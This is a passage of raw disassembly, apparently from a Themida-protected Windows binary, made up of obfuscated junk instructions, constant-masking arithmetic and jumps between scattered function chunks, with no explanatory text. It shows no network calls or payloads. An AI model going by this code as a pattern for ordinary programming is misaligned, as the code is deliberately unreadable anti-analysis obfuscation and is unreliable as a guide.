		push	[esp+8+var_4]
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		pop	esp
		mov	[esp+0], dx
		jmp	loc_55454A
; END OF FUNCTION CHUNK	FOR sub_5546E4

; =============== S U B	R O U T	I N E =======================================



sub_55B304	proc near		; DATA XREF: Themida_:005512A0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00555B10 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005573D2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005584C0 SIZE 00000017 BYTES

		push	dword ptr [esp+0]
		pop	eax
		push	ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	5A30h
		mov	[esp+8+var_8], ebp
		mov	ebp, 191D035Ch
		add	ebp, 0E6E2FCA8h
		add	ebx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 685E3B8Ah
		xor	ebp, 8290022h
		sub	ebp, 60773BA4h
		jmp	loc_5584C0
sub_55B304	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55703A


loc_55B340:				; CODE XREF: sub_55703A+6j
		push	[esp+8+var_8]
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_55AEFA
; END OF FUNCTION CHUNK	FOR sub_55703A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55B34B:				; CODE XREF: sub_552215+A22Ej
		add	esi, ecx
		pop	ecx
		jmp	loc_558F10
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B353:				; CODE XREF: sub_55ABF6-17A0j
		mov	bh, 12h
		jmp	loc_552E7F
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55B35A:				; CODE XREF: Themida_:00553859j
		push	esp
		pop	edi
		jmp	loc_55AE71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559977


loc_55B361:				; CODE XREF: sub_559977-6C6Cj
		push	small 53A0h
		mov	word ptr [esp+4+var_4],	di
		mov	di, 0ED6Ah
		xor	bx, di
		pop	di
		mov	si, bx
		jmp	loc_555D5F
; END OF FUNCTION CHUNK	FOR sub_559977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_55B37A:				; CODE XREF: sub_55910B-3D98j
		xor	al, cl
		jmp	loc_551B57
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------


loc_55B381:				; CODE XREF: Themida_:005553DDj
		xchg	edx, [esp]
		jmp	loc_55D3A3
; ---------------------------------------------------------------------------


loc_55B389:				; CODE XREF: Themida_:005534CAj
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		not	esi
		xchg	esi, [esp]
		pop	edi
		and	edi, 5B2A6BC8h
		push	esi
		mov	esi, 679307C3h
		xor	esi, 62A3FE2Dh
		add	edi, esi
		pop	esi
		mov	edx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5517D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_55B3C8:				; CODE XREF: sub_552791+18j
		sub	al, 55h
		add	al, 3
		add	al, dl
		sub	al, 3
		jmp	loc_556630
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55C5FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559CF7


loc_55B3DE:				; CODE XREF: sub_559CF7+4j
		push	6091h
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 65F472DFh
		jmp	loc_555BB5
; END OF FUNCTION CHUNK	FOR sub_559CF7

; =============== S U B	R O U T	I N E =======================================



sub_55B3F3	proc near		; DATA XREF: Themida_:00551278o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00554224 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C6AD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055CD50 SIZE 00000021 BYTES

		push	dword ptr [esp+0]
		jmp	loc_554224
sub_55B3F3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_55B3FB:				; CODE XREF: sub_55910B-E82j
		pop	edx
		jmp	loc_55A76A
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------


loc_55B401:				; CODE XREF: Themida_:00551F1Cj
		pop	ecx
		add	bl, 19h
		push	edx
		mov	edx, 3FCh
		jmp	loc_551A6E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_559B1A
; ---------------------------------------------------------------------------


loc_55B419:				; CODE XREF: Themida_:0055AF9Bj
		add	[esp+4], esi
		pop	esi
		jmp	loc_558067
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B423:				; CODE XREF: sub_55ABF6-95FFj
		add	esi, 7DF02FC3h
		jmp	loc_5564B8
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55B42E:				; CODE XREF: Themida_:00558E4Dj
		push	ecx
		mov	ch, 0E0h
		sub	ch, 0D1h
		jmp	loc_5595CA
; ---------------------------------------------------------------------------


loc_55B439:				; CODE XREF: Themida_:00554B60j
		pop	esp
		mov	[esp], ebx
		mov	bl, 0A0h
		xor	al, bl
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		jmp	loc_553049
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558854


loc_55B487:				; CODE XREF: sub_558854+42BDj
		pop	eax
		jmp	sub_5525F4
; END OF FUNCTION CHUNK	FOR sub_558854
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55B48D:				; CODE XREF: sub_55C814-9447j
		mov	esi, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		mov	ebx, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		and	eax, ebx
		jmp	loc_55894F
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_55B4AA:				; CODE XREF: Themida_:0055D595j
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55CDD8
; ---------------------------------------------------------------------------


loc_55B4BC:				; CODE XREF: Themida_:00554B80j
		push	esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_551D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554114


loc_55B4D9:				; CODE XREF: sub_554114-CEAj
		xor	eax, ecx
		push	0D92h
		mov	[esp+0], eax
		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		jmp	loc_55444E
; END OF FUNCTION CHUNK	FOR sub_554114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55B4F3:				; CODE XREF: sub_55CE17-6578j
		xor	ebx, 0DB610DE0h
		add	edx, ebx
		jmp	loc_55B100
; ---------------------------------------------------------------------------


loc_55B500:				; CODE XREF: sub_55CE17-2691j
		push	edi
		push	esp
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	ebp
		jmp	loc_552DDF
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B511:				; CODE XREF: sub_55ABF6+B8j
		pop	esp
		sub	ebx, 1
		shr	ebx, 5
		sub	esp, 4
		mov	[esp-16h+arg_12], ebp
		push	ecx
		push	1B3B6598h
		pop	ecx
		neg	ecx
		xor	ecx, 902DF936h
		mov	ebp, ecx
		pop	ecx
		shr	ebp, 4
		shr	ebp, 7
		jmp	loc_559538
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55B53B:				; CODE XREF: sub_55C814-87EEj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_5592EB
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_55B558:				; CODE XREF: Themida_:00551708j
		sub	ecx, 4
		jmp	loc_55478E

; =============== S U B	R O U T	I N E =======================================



sub_55B560	proc near		; CODE XREF: sub_55BDF0-1995j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00551596 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055D2E6 SIZE 00000015 BYTES

		push	ebx
		mov	ebx, 3298725Fh
		xor	ebx, 7D104C4Ah
		jmp	loc_551596
sub_55B560	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_55B571:				; CODE XREF: Themida_:005534ECj
		sub	esi, 5B3708DAh
		jmp	loc_557600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_55B57C:				; CODE XREF: sub_558326-3571j
		shr	dword ptr [edx+38h], 4
		jmp	sub_5523C6
; END OF FUNCTION CHUNK	FOR sub_558326

; =============== S U B	R O U T	I N E =======================================



sub_55B585	proc near		; CODE XREF: sub_556B3D+1j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055339F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00558FF8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055BF48 SIZE 00000009 BYTES

		sub	esp, 2
		jmp	loc_55BF48
sub_55B585	endp

; ---------------------------------------------------------------------------


loc_55B590:				; CODE XREF: Themida_:00557D6Dj
		mov	esi, 1E5B2A9Dh
		jmp	loc_55BF51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B59A:				; CODE XREF: sub_55ABF6+9E1j
		pop	eax
		mov	ebp, [esp-1Ah+arg_16]
		jmp	loc_553F26
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55B5A3:				; CODE XREF: sub_55314C-51Bj
		pop	edi
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		xor	eax, [esp+8+var_8]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55CD41
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55B5BC:				; CODE XREF: sub_552215+1j
		mov	ebx, 4
		jmp	loc_55626B
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B5C6:				; CODE XREF: sub_55ABF6-6211j
		pop	ebx
		jmp	sub_55C84B
; ---------------------------------------------------------------------------


loc_55B5CC:				; CODE XREF: sub_55ABF6+1BFj
		and	eax, edx
		pop	edx
		dec	eax
		add	eax, 0DB9D7C8Bh
		add	ebx, eax
		jmp	loc_55B59A
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55B5DC:				; CODE XREF: Themida_:0055B830j
		push	edx
		mov	edx, 99130BFh
		sub	edx, 3942CFEh
		jmp	loc_555366
; ---------------------------------------------------------------------------


loc_55B5ED:				; CODE XREF: Themida_:00558759j
		sub	ecx, 18680DE8h
		pop	edi
		add	ebp, 3AA639Fh
		sub	ebp, ecx
		sub	ebp, 3AA639Fh
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_555C08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_55B60E:				; CODE XREF: sub_55C840-5B31j
		pop	eax
		push	0
		sub	[esp+0], dl
		mov	dl, [esp+0]
		add	esp, 4
		inc	dl
		jmp	loc_554D0D
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55B624:				; CODE XREF: sub_55AE3A+1FC7j
		shr	dh, 5
		jmp	loc_557B2C
; END OF FUNCTION CHUNK	FOR sub_55AE3A

; =============== S U B	R O U T	I N E =======================================



sub_55B62C	proc near		; DATA XREF: Themida_:00551394o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551CF6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005528CF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552976 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00552CBE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00553199 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00554356 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00554DEE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00555D8C SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00556441 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00556470 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00556A1E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00556D42 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005573B9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005587F2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00558D28 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0055949A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00559EA8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055A311 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C535 SIZE 00000007 BYTES

		mov	cx, [esp+0]
		push	22A9h
		mov	[esp+4+var_4], ebp
		push	esp
		jmp	loc_554356
sub_55B62C	endp

; ---------------------------------------------------------------------------


loc_55B63E:				; CODE XREF: Themida_:0055C8D8j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	ah, 4Eh
		jmp	loc_55887E
; ---------------------------------------------------------------------------


loc_55B65A:				; CODE XREF: Themida_:00556A36j
		push	edi
		push	eax
		push	ebp
		jmp	loc_55CF87
; ---------------------------------------------------------------------------


loc_55B662:				; CODE XREF: Themida_:0055579Bj
		pop	ebp
		push	ebp
		mov	ebp, edx
		mov	edi, ebp
		pop	ebp
		pop	edx
		jmp	loc_55A8AE
; ---------------------------------------------------------------------------


loc_55B66F:				; CODE XREF: Themida_:00558DADj
		add	ebp, 62FB3800h
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552D10


loc_55B682:				; CODE XREF: sub_552D10+2702j
		pop	ecx
		add	esi, 86C0B10h
		or	esi, 7A3615AEh
		jmp	loc_552588
; END OF FUNCTION CHUNK	FOR sub_552D10
; ---------------------------------------------------------------------------


loc_55B694:				; CODE XREF: Themida_:0055971Cj
		mov	eax, [esp]
		jmp	loc_55978B
; ---------------------------------------------------------------------------


loc_55B69C:				; CODE XREF: Themida_:00557D03j
		or	esi, 2EDE348Eh
		add	esi, 65A78CB4h
		add	edi, esi
		jmp	loc_55AE24
; ---------------------------------------------------------------------------


loc_55B6AF:				; CODE XREF: Themida_:0055934Fj
		xor	ebp, 18E85975h
		sub	eax, 35F807E9h
		jmp	loc_5589EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5594EA


loc_55B6BF:				; CODE XREF: sub_5594EA-71DAj
		push	esp
		pop	edi
		jmp	loc_554C5B
; END OF FUNCTION CHUNK	FOR sub_5594EA
; ---------------------------------------------------------------------------


loc_55B6C6:				; CODE XREF: Themida_:00558862j
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5569E4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55862E
; ---------------------------------------------------------------------------


loc_55B6E6:				; CODE XREF: Themida_:0055B0FBj
		sub	esp, 4
		mov	[esp], ebx
		push	3E65h
		jmp	loc_554376
; ---------------------------------------------------------------------------


loc_55B6F9:				; CODE XREF: Themida_:00559C78j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55DC19
; ---------------------------------------------------------------------------


loc_55B706:				; CODE XREF: Themida_:0055A41Ej
		push	7457h
		mov	[esp], esp
		push	edx
		jmp	loc_55C6C1
; ---------------------------------------------------------------------------


loc_55B714:				; CODE XREF: Themida_:005524FFj
		push	edx
		push	59591545h
		jmp	loc_55A882
; ---------------------------------------------------------------------------


loc_55B71F:				; CODE XREF: Themida_:0055594Ej
		pop	ecx
		xor	esi, 8DD7241h
		not	esi
		inc	esi
		xor	esi, 97515914h
		sub	eax, 4A067122h
		sub	eax, esi
		push	edi
		jmp	loc_55A5B2
; ---------------------------------------------------------------------------


loc_55B73C:				; CODE XREF: Themida_:005578DEj
		mov	edx, [esp]
		jmp	loc_55CEC3
; ---------------------------------------------------------------------------


loc_55B744:				; CODE XREF: Themida_:0055624Fj
		add	dh, 9
		add	al, 9Dh
		jmp	loc_5587A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B74E:				; CODE XREF: sub_55ABF6-19j
		xchg	eax, [esp-0Eh+arg_8+2]
		pop	esp
		jmp	loc_556D14
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_55B757:				; CODE XREF: sub_5546E4-246Aj
		push	eax
		mov	eax, 5E0D66E9h
		sub	edi, eax
		pop	eax
		add	edi, 78109E19h
		jmp	loc_5597AF
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B76B:				; CODE XREF: sub_55ABF6-73Fj
		not	esi
		shr	esi, 1
		add	esi, 0A44F37E4h
		add	edi, esi
		jmp	loc_55993A
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_55B77C:				; CODE XREF: sub_55A0D6-81E0j
		pop	ecx
		add	esi, 2
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		pop	esp
		imul	cl
		movzx	cx, ah
		push	esi
		jmp	loc_557663
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B799:				; CODE XREF: sub_55ABF6-1B9Bj
		mov	ecx, 24h
		sub	ecx, 301D2BE2h
		add	ecx, 693C4204h
		add	ecx, edi
		sub	ecx, 693C4204h
		jmp	loc_55D916
; ---------------------------------------------------------------------------


loc_55B7B7:				; CODE XREF: sub_55ABF6-1FAj
		pop	edi
		jmp	loc_55A09B
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55B7BD:				; CODE XREF: sub_559249+1EF0j
		mov	[esp+1Ch+var_1C], esi
		push	ecx
		push	50ED3882h
		pop	ecx
		jmp	loc_55604C
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B7CC:				; CODE XREF: sub_55ABF6-7F4Bj
		pop	esi
		neg	esi
		jmp	loc_558C0E
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55B7D4:				; CODE XREF: sub_55314C+9BFFj
		mov	edi, 45B84FA4h
		jmp	loc_55BCB8
; END OF FUNCTION CHUNK	FOR sub_55314C

; =============== S U B	R O U T	I N E =======================================



sub_55B7DE	proc near		; DATA XREF: Themida_:00551210o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00552B34 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00556B27 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00557B52 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005597C9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00559862 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055A9C8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055DB6B SIZE 00000006 BYTES

		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_556B27
sub_55B7DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_55B7E7	proc near		; DATA XREF: Themida_:00551218o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp+0], al
		pushf
		jmp	loc_5514E3
sub_55B7E7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55B7F6:				; CODE XREF: sub_551F97+7EBBj
		sub	bx, 70A9h
		add	bx, ax
		sub	esp, 4
		jmp	loc_5569AE
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_55B806:				; CODE XREF: sub_55802B-76Fj
		pop	esp
		push	0CEEh
		mov	[esp+0], ebx
		jmp	loc_55192D
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------


loc_55B814:				; CODE XREF: Themida_:0055DD8Fj
		xor	ebp, 63C9242Ah
		sub	ebx, 1E637D34h
		add	ebx, ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 62C600AAh
		jmp	loc_55B5DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B835:				; CODE XREF: sub_55ABF6-805Ej
		add	ebx, ecx
		sub	ebx, 6384208Bh
		pop	ecx
		xchg	ebx, [esp-8+arg_4]
		pop	esp
		push	eax
		jmp	loc_55C076
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55B848:				; CODE XREF: Themida_:005552BFj
		add	eax, ecx
		pop	ecx
		jmp	loc_55C344
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B231


loc_55B850:				; CODE XREF: sub_55B231+3j
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55B231
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55B855:				; CODE XREF: sub_551F97+A515j
		sub	[esp+2+var_2], ax
		add	[esp+2+var_2], 2E3Eh
		jmp	loc_55984D
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------


loc_55B864:				; CODE XREF: Themida_:0055C946j
		add	edx, 0FFFFFBF4h
		or	[edi+1Ch], edx
		pop	edx
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B873:				; CODE XREF: sub_55ABF6-B76j
		mov	ecx, [ebx]
		push	[esp+6+var_8+2]
		pop	ebx
		push	eax
		jmp	loc_555104
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_55B87F:				; CODE XREF: sub_55D40D-5EB2j
		push	esi
		mov	esi, 4B7F4FA7h
		and	esi, 40742135h
		shr	esi, 6
		inc	esi
		xor	esi, 7CBA171Dh
		jmp	loc_557A67
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_55B89A:				; CODE XREF: sub_55CFFC-6F7j
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	ax, [esp-4+arg_0]
		push	esi
		push	49D5h
		push	esp
		pop	[esp+8+var_8]
		add	[esp+4+var_4], 4
		jmp	loc_55BA03
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B8BA:				; CODE XREF: sub_55ABF6+2040j
		push	edx
		mov	edx, 6AB400DDh
		jmp	loc_5593E1
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55B8C5:				; CODE XREF: Themida_:0055BB7Fj
		pop	ecx
		add	al, bl
		add	al, 0CBh
		jmp	loc_557112
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_55B8CF:				; CODE XREF: sub_555A6F+2710j
		pop	edx
		push	esi
		push	75D54BDCh
		pop	esi
		sub	esi, 0C6DB6E02h
		mov	edx, esi
		pop	esi
		jmp	loc_5544E7
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_55B8E5:				; CODE XREF: sub_5523E1+197Cj
		or	ebx, 68B06422h
		sub	ebx, 62804832h
		jmp	loc_55BFD0
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B8F6:				; CODE XREF: sub_55ABF6-1D5Ej
		pop	edx
		add	ebx, 52DE3406h
		add	ebx, eax
		jmp	loc_55D2AD
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_55B904:				; CODE XREF: sub_55C87F+F44j
		add	esp, 4
		mov	[edi+24h], ebp
		mov	ebp, [esp+4+var_4]
		jmp	loc_556C66
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_55B912:				; CODE XREF: sub_55C58B-A556j
		dec	bh
		or	bh, 0A5h
		jmp	loc_554332
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------


loc_55B91C:				; CODE XREF: Themida_:005561DFj
		mov	[esp], dx
		mov	dh, 0E4h
		add	al, 8Ah
		sub	al, dh
		push	ebx
		jmp	loc_552593
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_55B92C:				; CODE XREF: sub_55BB30-16BDj
		add	esp, 4
		add	eax, 71F62FDAh
		add	eax, esi
		push	ebp
		mov	ebp, 71F62FDAh
		sub	eax, ebp
		jmp	loc_5550D3
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_55B946:				; CODE XREF: sub_5546E4+8566j
		mov	[esp+0], ebp
		mov	ebp, esp
		push	edi
		jmp	loc_55A92B
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55B951:				; CODE XREF: sub_55CE17-3B31j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	[esp-4+arg_4]
		pop	edi
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		jmp	loc_5529EF
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55B96D:				; CODE XREF: sub_551F97+B771j
		xor	di, si
		mov	si, [esp+2+var_2]
		add	esp, 2
		push	di
		push	ax
		mov	ax, 23ABh
		sub	[esp+2], ax
		pop	ax
		pop	dx
		add	dx, 23ABh
		pop	edi
		add	ax, 0A12h
		sub	ax, dx
		push	dx
		push	esi
		mov	si, 162Ch
		jmp	loc_555217
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_55B9A4:				; CODE XREF: sub_557D5E+2F1j
		mov	ecx, ebp
		pop	ebp
		xor	edi, ecx
		push	[esp+4+var_4]
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_55A6BC
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_55B9B5:				; CODE XREF: sub_55BB30+E98j
		shl	eax, 2
		add	eax, 0F4E99057h
		jmp	loc_554E69
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55B9C2:				; CODE XREF: sub_55ABF6-6975j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp+0]
		mov	eax, [esp-10h+arg_C]
		push	edi
		push	5B39h
		jmp	loc_55717C
; ---------------------------------------------------------------------------


loc_55B9D6:				; CODE XREF: sub_55ABF6+12D7j
		mov	ebx, 6B186164h
		add	ebx, 0B047E61Ah
		add	eax, 0CB67C0Eh
		jmp	loc_55D13A
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552BA6


